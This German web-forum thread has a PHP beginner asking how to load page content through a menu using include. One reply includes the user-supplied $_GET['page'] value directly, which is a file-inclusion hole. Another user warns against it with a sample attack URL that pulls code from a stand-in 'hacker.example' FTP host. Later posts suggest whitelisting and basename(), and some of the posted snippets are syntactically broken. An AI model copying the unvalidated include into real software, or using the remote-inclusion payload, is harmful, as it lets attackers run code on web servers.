Ankündigung

Einklappen
Keine Ankündigung bisher.

Hilfe bei include... Bitte...

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Hilfe bei include... Bitte...

    Hallo liebe Gemeinde,

    ich habe ein Problem und hoffe, mir kann bitte jemand helfen?

    Ich bin Anfänger in Sachen PHP und möchte nun meine eigene Homepage Programmieren. Ich habe folgendes Problem.

    Ich habe eine Tabelle mit 2 Spalten (re. Navigation – li. Die Nebenseiten), in der rechten Tabellenspalte include ich meine Navigation mit <? include ("datei.php"); ?>

    Meine Navigation:
    - Home
    - Person
    - Anfrage
    - Kontakt

    Jetzt aber mein großes Problem, bin schon am verzweifeln und habe im Internet nichts gefunden.

    Wie bzw. was muss ich nun schreiben, damit z.B. der Inhalt „Person“ geladen (include) und in der linken Seite der Tabelle angezeigt wird?

    Kann mir jemand helfen, wenn es geht bitte mit ausführlicher Anleitung und Beispielcode.

    Bitte.

  • #2
    Zitat von Blickwinkel Beitrag anzeigen
    Kann mir jemand helfen, wenn es geht bitte mit ausführlicher Anleitung und Beispielcode.
    Nö den es gibt zig Tutorials die das schon ausführlichst erklären! Schau mal in unseren Grundlagen Thread!

    Kommentar


    • #3
      Zitat von Flor1an Beitrag anzeigen
      Nö den es gibt zig Tutorials die das schon ausführlichst erklären! Schau mal in unseren Grundlagen Thread!
      Wenn ich wüßte wo der Thread ist, würde ich schauen?

      Kommentar


      • #4
        In die Menü-Datei schreibst du bei jedem link ein href hinein:
        "?page=home", "?page=person" "?page=anfrage" und "?page=kontakt"...
        Nun erstellst du diese Seiten:
        "home.php", "person.php", "anfrage.php", "kontakt.php" und "error.php"...
        Auf die Linke Seite schreibst du folgendes:
        PHP-Code:
        <?php
        switch($_GET['page'])
        {
            case 
        '':
                
        $file "home.php";
            break;

            case 
        'home':
                
        $file "home.php";
            break;

            case 
        'person':
                
        $file "person.php";
            break;

            case 
        'anfrage':
                
        $file "anfrage.php";
            break;

            case 
        'kontakt':
                
        $file "kontakt.php";
            break;

            default:
                
        $file "error.php";
            break;
        }
        include(
        $file);
        ?>
        Ich hoffe ich konnte dir weiterhelfen!

        Liebe Grüße,
        PCFreund
        webmasterlounge
        Die deutsche Webmaster-Community

        Kommentar


        • #5
          Zitat von DJ_RhoxxZ Beitrag anzeigen
          In die Menü-Datei schreibst du bei jedem link ein href hinein:
          "?page=home", "?page=person" "?page=anfrage" und "?page=kontakt"...
          Nun erstellst du diese Seiten:
          "home.php", "person.php", "anfrage.php", "kontakt.php" und "error.php"...
          Auf die Linke Seite schreibst du folgendes:
          PHP-Code:
          <?php
          switch($_GET['page'])
          {
              case 
          '':
                  
          $file "home.php";
              break;

              case 
          'home':
                  
          $file "home.php";
              break;

              case 
          'person':
                  
          $file "person.php";
              break;

              case 
          'anfrage':
                  
          $file "anfrage.php";
              break;

              case 
          'kontakt':
                  
          $file "kontakt.php";
              break;

              default:
                  
          $file "error.php";
              break;
          }
          include(
          $file);
          ?>
          Ich hoffe ich konnte dir weiterhelfen!

          Liebe Grüße,
          PCFreund
          Hallo und vielen vielen dank für die Hilfe, werde es ausprobieren. Wirklich nett und sehr Hilfsbereit.

          Vielen dank.

          Kommentar


          • #6
            [...]
            Hallo und vielen vielen dank für die Hilfe, werde es ausprobieren. Wirklich nett und sehr Hilfsbereit.

            Vielen dank.
            Aber bitte, immer gerne!
            webmasterlounge
            Die deutsche Webmaster-Community

            Kommentar


            • #7
              Und was, wenn $_GET['page'] gar nicht gesetzt ist?
              Zudem finde ich persönlich die Variante nicht sehr wartungsfreundlich, da es durchaus mal passieren kann, dass Seiten dazukommen oder entfernt werden. dann muß man den switch()-Bereich wieder anpassen.

              Besser finde ich persönlich:
              PHP-Code:
              $file = (isset($_GET['page']) && file_exists($_GET['page'] . '.php'))? $_GET['page'] . '.php''home.php';
              include 
              $file
              Dann wird auch die error.php überflüssig. Es wird immer die home.php aufgerufen, sollte $_GET['page'] nicht gesetzt sein oder die Seite gar nicht existiert...

              Sollte Dir etwas an der error.php liegen, kann man das ganze ein wenig umwandeln:
              PHP-Code:
              $file = (isset($_GET['page']))? $_GET['page'] . 'php''home.php';
              include (
              file_exists($file))? $file'error.php'
              Wird $_GET['page'] nicht übertragen, wird home.php eingebunden. Die error.php wird nur dann eingebunden, wenn die gewünschte Datei nicht existiert.
              Competence-Center -> Enjoy the Informatrix
              PHProcks!Einsteiger freundliche TutorialsPreComposed Packages

              Kommentar


              • #8
                Tu das nicht!

                Sonst geht nämlich auch so etwas:

                Code:
                ?page=ftp://hacker.example/evil-php-injection
                [IMG]https://g.twimg.com/twitter-bird-16x16.png[/IMG][URL="https://twitter.com/fschmengler"]@fschmengler[/URL] - [IMG]https://i.stack.imgur.com/qh235.png[/IMG][URL="https://stackoverflow.com/users/664108/fschmengler"]@fschmengler[/URL] - [IMG]http://i.imgur.com/ZEqflLv.png[/IMG] [URL="https://github.com/schmengler/"]@schmengler[/URL]
                [URL="http://www.schmengler-se.de/"]PHP Blog[/URL] - [URL="http://www.schmengler-se.de/magento-entwicklung/"]Magento Entwicklung[/URL] - [URL="http://www.css3d.net/"]CSS Ribbon Generator[/URL]

                Kommentar


                • #9
                  Ja Du hast recht. natürlich sollte das $_GET['page'] IMMER gefiltert werden!
                  Das habe ich nicht eingebaut, weil ich nur die Alternative zum switch() zeigen wollte...
                  Den Hinweis hätte ich aber geben müssen, hast recht sorry!
                  Competence-Center -> Enjoy the Informatrix
                  PHProcks!Einsteiger freundliche TutorialsPreComposed Packages

                  Kommentar


                  • #10
                    PHP-Code:
                    $pages = array('about''news');

                    $file 'home.php';
                    $file = if(!empty($_GET['page']) && in_array($_GET['page'], $pages)) $file $_GET['page'].'.php'
                    include 
                    $file
                    Eine if-else-Abfrage nimmt, ordentlich geschrieben eine Menge Platz weg. Platzsparend geht es mit einem ternären Operator.

                    Kommentar


                    • #11
                      Zitat von Arne Drews Beitrag anzeigen
                      Und was, wenn $_GET['page'] gar nicht gesetzt ist?
                      Code:
                          case '': 
                              $file = "home.php"; 
                          break;
                      webmasterlounge
                      Die deutsche Webmaster-Community

                      Kommentar


                      • #12
                        @Koala: Ein basename() hätte gereicht in diesem Fall.
                        PHP-Code:
                        $file = (isset($_GET['page']))? basename($_GET['page']) . 'php''home.php';
                        include (
                        file_exists($file))? $file'error.php'
                        @DJ_RhoxxZ: Damit prüfst Du nur, ob $_GET['page'] einen Leerstring als Wert besitzt! Hast Du das mal versucht ohne page= an die URL zu hängen?!
                        Competence-Center -> Enjoy the Informatrix
                        PHProcks!Einsteiger freundliche TutorialsPreComposed Packages

                        Kommentar


                        • #13
                          @DJ_RhoxxZ: Damit prüfst Du nur, ob $_GET['page'] einen Leerstring als Wert besitzt! Hast Du das mal versucht ohne page= an die URL zu hängen?!
                          Hööööö ? Kapier ich jetzt nicht ganz =/
                          case '': wird aufgerufen, wenn ?page= leer ist oder ?page= nicht gesetzt ist ... Beides funktioniert wunderbar!
                          webmasterlounge
                          Die deutsche Webmaster-Community

                          Kommentar


                          • #14
                            PHP-Code:
                            switch($_GET['page']) {
                              case 
                            ''$file 'home.php'; break;
                              ...

                            Code:
                            // Hier würde Dein Code passen:
                            http://example.com/beispielseite/?page=
                            
                            // Hier aber imho nicht!
                            http://example.com/beispielseite/
                            Competence-Center -> Enjoy the Informatrix
                            PHProcks!Einsteiger freundliche TutorialsPreComposed Packages

                            Kommentar


                            • #15
                              @Arne
                              diesen ternären Mist benutz ich fast nie.

                              $file = '';
                              und
                              if($a == 'irgendwa') $file = 'wasanderes';
                              ist doch viel übersichtlicher und einfacher.

                              Ternäre Operatoren sind nur dazu da,
                              um zu zeigen wie kryptisch man Code schreiben kann.

                              Und wieso soll ich denn zusätzlich basename verwenden ?

                              Ich weiß doch daß die Dateien vorhanden sind wenn ich die "basenames" im Array $pages hab.

                              Hier Beispiele für ternären Mist wie ich ihn oft präsentiert krieg:

                              PHP-Code:
                              if(empty($ipp))$ipp=100;
                              $page_cnt $item_cnt<$ipp?0:ceil($item_cnt/$ipp)-1;
                              if(empty(
                              $page))$page=0;elseif($page>$page_cnt)$page=$page_cnt;
                              $page_req.="&ipp=$ipp";
                              $page_prv=5;
                              $page_nxt=4;
                              $page_beg=($page+$page_nxt)<$page_cnt?($page-$page_prv):($page_cnt-$page_prv-$page_nxt);
                              if(
                              $page_beg<0)$page_beg=0;
                              $page_end=$page>$page_prv?($page+$page_nxt):($page_prv+$page_nxt);
                              if(
                              $page_end>$page_cnt)$page_end=$page_cnt;
                              for(
                              $page_sel="",$i=$page_beg;$i<=$page_end;$i++)
                                  if(
                              $page==$i)
                                      
                              $page_sel.="<b>".($i+1)."</b>&nbsp;";
                                  else
                                      
                              $page_sel.="<a href=\"page.php'?page=$i$page_req".$pager_sort."\">".($i+1)."</a>&nbsp;"
                              sieht halt "cool" aus - aber auf Anhieb nachvollziehn kanns keiner mehr.
                              Eine if-else-Abfrage nimmt, ordentlich geschrieben eine Menge Platz weg. Platzsparend geht es mit einem ternären Operator.

                              Kommentar

                              Lädt...
                              X